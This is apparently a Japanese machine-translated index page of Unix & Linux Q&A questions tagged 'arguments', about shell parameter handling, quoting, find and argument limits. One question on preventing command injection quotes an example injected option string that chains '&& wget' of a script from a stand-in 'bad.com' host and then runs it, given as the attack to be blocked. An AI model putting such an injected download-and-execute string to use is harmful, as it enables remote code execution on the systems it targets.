タグ付けされた質問 「arguments」

引数は通常、関数、プロシージャ、またはコマンドラインプログラムに渡される実際の値として定義されます。

2
$ @から位置パラメータを削除する方法
基本的に、-infパラメータリストから最初に出現したものを「抜き取り」たいと思います。(残りのパラメーターは別のコマンドに渡されます。) 私が持っているスクリプトの構造は次のとおりです。 #!/bin/sh <CODE> for POSITIONAL_PARAM in "$@" do <CODE> if [ "$POSITIONAL_PARAM" = '-inf' ] then <PLUCK $POSITIONAL_PARAM FROM $@> break fi <CODE> done <CODE> some-other-command "$@" # end of script これを行う良い方法はありますか? ところで、私は主に該当する回答に興味がありますが/bin/sh、私は該当する回答にも興味があります/bin/bash。

3
コマンドオプションを使用してコマンドインジェクションを防ぐ方法
シミュレーターに渡すカスタムオプションをユーザーが指定できるようにする必要があるラッパーアプリケーションがあります。ただし、ユーザーがユーザーオプションを使用して他のコマンドを挿入しないようにします。これを達成する最良の方法は何ですか? 例えば。 ユーザーが提供するもの: -a -b アプリケーションの実行: mysim --preset_opt -a -b しかし、私はこれが起こることを望まない: ユーザーが提供するもの: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh アプリケーションの実行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 現在、ユーザーが提供したすべてのオプションを単一引用符で囲み、ユーザーが提供した単一引用符'を取り除くだけで、最後の例のコマンドが無害になることができると考えています: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注:mysimコマンドは、docker / lxcコンテナー内のシェルスクリプトの一部として実行されます。Ubuntuを実行しています。

4
順序が指定されていない場合、bashスクリプトのオプションの引数を解析するにはどうすればよいですか?
次のプログラムのbashスクリプトを作成するときに、オプションの引数/フラグを含める方法がわかりません。 プログラムには2つの引数が必要です。 run_program --flag1 <value> --flag2 <value> ただし、いくつかのオプションのフラグがあります。 run_program --flag1 <value> --flag2 <value> --optflag1 <value> --optflag2 <value> --optflag3 <value> --optflag4 <value> --optflag5 <value> ユーザーの引数をとるようにbashスクリプトを実行したいと思います。ユーザーが順番に2つの引数のみを入力した場合、次のようになります。 #!/bin/sh run_program --flag1 $1 --flag2 $2 しかし、オプションの引数のいずれかが含まれている場合はどうなりますか?そうなると思います if [ --optflag1 "$3" ]; then run_program --flag1 $1 --flag2 $2 --optflag1 $3 fi しかし、$ 4が与えられ、$ 3が与えられない場合はどうでしょうか?

4
||で複数のコマンドを使用しない理由 または&&条件付き作業?
これは、シェル(bash、dash)プロンプトで機能します。 [ -z "" ] && echo A || echo B A ただし、私はPOSIXシェルスクリプトを記述しようとしています。 #!/bin/sh [ "${#}" -eq 1 ] || echo "Invalid number of arguments, expected one."; exit 1 readonly raw_input_string=${1} [ -z "${raw_input_string}" ] && echo "The given argument is empty."; exit 1 理由はわかりませんが、メッセージが表示されません: 指定された引数は空です。 このようなスクリプトを呼び出すと: ./test_empty_argument "" 何故ですか?

2
パラメーターリストの作成に使用されるbash文字列の連結
次のbashを考えます: PARMS='-rvu' PARMS+=" --delete --exclude='.git'" echo $PARMS rsync ${PARMS} . ${TARGET} エコーはPARMS文字列を期待どおりに表示し、エラーは表示されませんが、rsyncは+ =によって追加されたオプションが存在しないかのように静かに動作します。ただし、これは期待どおりに機能します。 PARMS='-rvu' rsync ${PARMS} --delete --exclude='.git' . ${TARGET} 私はbash引用符で何かを台無しにしたと思います(常にそれらに問題がありました)が、文字列が正しく構築されているように見えても、オプションが何を無視するのか正確にはわかりません。

3
コマンド置換を介して別のコマンドの引数を生成するにはどうすればよいですか
次から: シェルコマンド置換での予期しない動作 私は引数の膨大なリストを取ることができるコマンドを持っています、それらのいくつかは合法的にスペースを含むことができます(そしておそらく他のもの) これらの引数を引用符で生成できるスクリプトを書きましたが、出力をコピーして貼り付ける必要があります。 ./somecommand <output on stdout with quoting> ./othercommand some_args <output from above> 私は単にすることでこれを合理化しようとしました ./othercommand $(./somecommand) そして、上記の問題で言及された予期しない動作に遭遇しました。問題はothercommand、いくつかの引数が引用符を必要とし、これを変更できないことを前提として、コマンド置換を使用して引数を確実に生成できるかどうかです。

3
異なる引数でコマンドを繰り返し実行するにはどうすればよいですか?
私はUbuntuにいます。(改行で区切られた)いくつかの引数をコピーし、xselを使用して次のように出力できます $ xsel arg1 arg2 arg3 arg4 ... ここで、これらの各引数を別のコマンドに使用して、引数の数だけそのコマンドを実行したいと思います。 だから私は試した $ xsel | mycommand "constantArgument" $1 ただし、これmycommandは最初の引数に対してのみ実行されました。すべての引数に対してどのように実行できますか?

3
コマンドライン引数を含め、実行されたすべてのコマンドを簡単に記録する方法はありますか?
特定のインスタンス化をログに記録して、rrdtool受信したパスが正しくないかどうかを確認する方法を見つけようとしています。 パラメータをログに記録するシェルスクリプトで実行可能ファイルをラップできることはわかっていますが、それを監視するためのよりカーネル固有の方法、特定の/ proc / pid / exe指定されたバイナリと一致しますか?
11 logs  proc  arguments  audit 


1
500日以上経過したファイルを削除する
2010年からのファイルを含むディレクトリがあります。500日より古いすべてのファイルを削除したいのですが、これを試しました。 find /var/log/arc/* -type f -mtime +500 -delete {}\; しかし、私はこれを得ます: -bash: /usr/bin/find: Argument list too long 私が知っているように、これはファイルが多すぎてfindそれらを処理できないことを意味します。しかし、+20003年以上経過している場合でも、これを取得しています。 ここで何が欠けていますか?

2
引数をそのままの状態で機能させる
次の機能があります。 bar() { echo $1:$2; } この関数を別の関数から呼び出していますfoo。fooそれ自体は次のように呼び出されます。 foo "This is" a test 次の出力を取得します。 This is:a つまり、bar受け取る引数は、に渡すトークンと同じでなければなりませんfoo。 fooこれを達成するためにどのように実装する必要がありますか?次の2つの実装を試しましたが、どちらも機能しません。 foo() { bar $*; } –出力: this:is foo() { bar "$*"; } –出力: this is a test: 私の質問は、議論の引用をどのように保存できるかということです。これはまったく可能ですか?

3
findで見つかったファイルを引数として渡す方法は?
まず、些細なしかし不適当答え遮断する:私はどちらも使用することができますfind+のxargsトリックも(のようなその変種findとを-exec私は呼び出しごとにいくつかのような表現を使用する必要があるため)。最後にこれに戻ります。 より良い例として、次のことを考えてみましょう。 $ find -L some/dir -name \*.abc | sort some/dir/1.abc some/dir/2.abc some/dir/a space.abc それらを引数としてどのように渡すのprogramですか? それをするだけではうまくいきません $ ./program $(find -L some/dir -name \*.abc | sort) program次の引数を取得するため失敗します: [0]: ./program [1]: some/dir/1.abc [2]: some/dir/2.abc [3]: some/dir/a [4]: space.abc ご覧のとおり、スペースのあるパスは分割さprogramれており、2つの異なる引数と見なされます。 機能するまで引用する 私のような初心者ユーザーは、そのような問題に直面したときに、最終的に機能するまでランダムに引用符を追加する傾向があります-ここではそれだけでは役に立たないようです… "$(…)" $ ./program "$(find -L some/dir -name \*.abc | sort)" [0]: …

4
シェルプロンプトで引数を出力し、シェルプロンプトでそれらを書き込むように引用できますか?
シェルスクリプトでは、"$@"必要に応じて引用することで、スクリプトの引数に展開されます。たとえば、これはスクリプトの引数をgccに転送します。 gcc -fPIC "$@" <<<ただし、bashのpass-to-stdin構文を使用する"@$"と、期待どおりに機能しません。 #!/bin/bash cat <<< "$@" ./test.sh foo "bar baz"与えられたスクリプトを呼び出す foo bar baz 私は期待します foo "bar baz" シェルプロンプトでそれらを書くように、その引数を出力するシェルスクリプトを書く方法はありますか?たとえば、ヒントにスクリプト引数を含め、次に使用するコマンドに関するヒント。

4
複数のディレクトリをfindの-pruneオプションに渡す
findバックアップファイルの検索と削除に使用していますが、特定のディレクトリを検索から除外したいと考えています。バックアップファイル名はで終了する可能性があり.bck、bak、~、またはbackup。 除外するディレクトリが3つだけのMinimal Working Example(MWE)コードは次のとおりです。 #! /bin/bash find . -type d \( -path "./.*" -o -path "./Music" -o -path "./Documents" \) -prune -o -type f \( -name "*.bck" -o -name "*.bak" -o -name "*~" -o -name "*.backup" \) -print0 | xargs -0 --no-run-if-empty trash-put 構文\( -path "dir1" -o -path "dir2" ... …

2
引数リストの実際の最大長を見つけるための標準的な方法は何ですか?
ARG_MAXに続いて、ARG_MAX Ubuntu 12.04を実行しているMac Mini 3,1で新しいプロセスの引数の最大長が誤って(または少なくともあいまいに)定義されているようです: $ getconf ARG_MAX # arguments 2097152 $ locate limits.h | xargs grep -ho 'ARG_MAX[ \t]\+[0-9]\+' | uniq | cut -d ' ' -f 8 131072 実際の制限はこれらの間のどこかにあるようです: $ cd "$(mktemp -d)" $ touch $(seq 1 131072) && find . -mindepth 1 -printf x | wc -c …

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.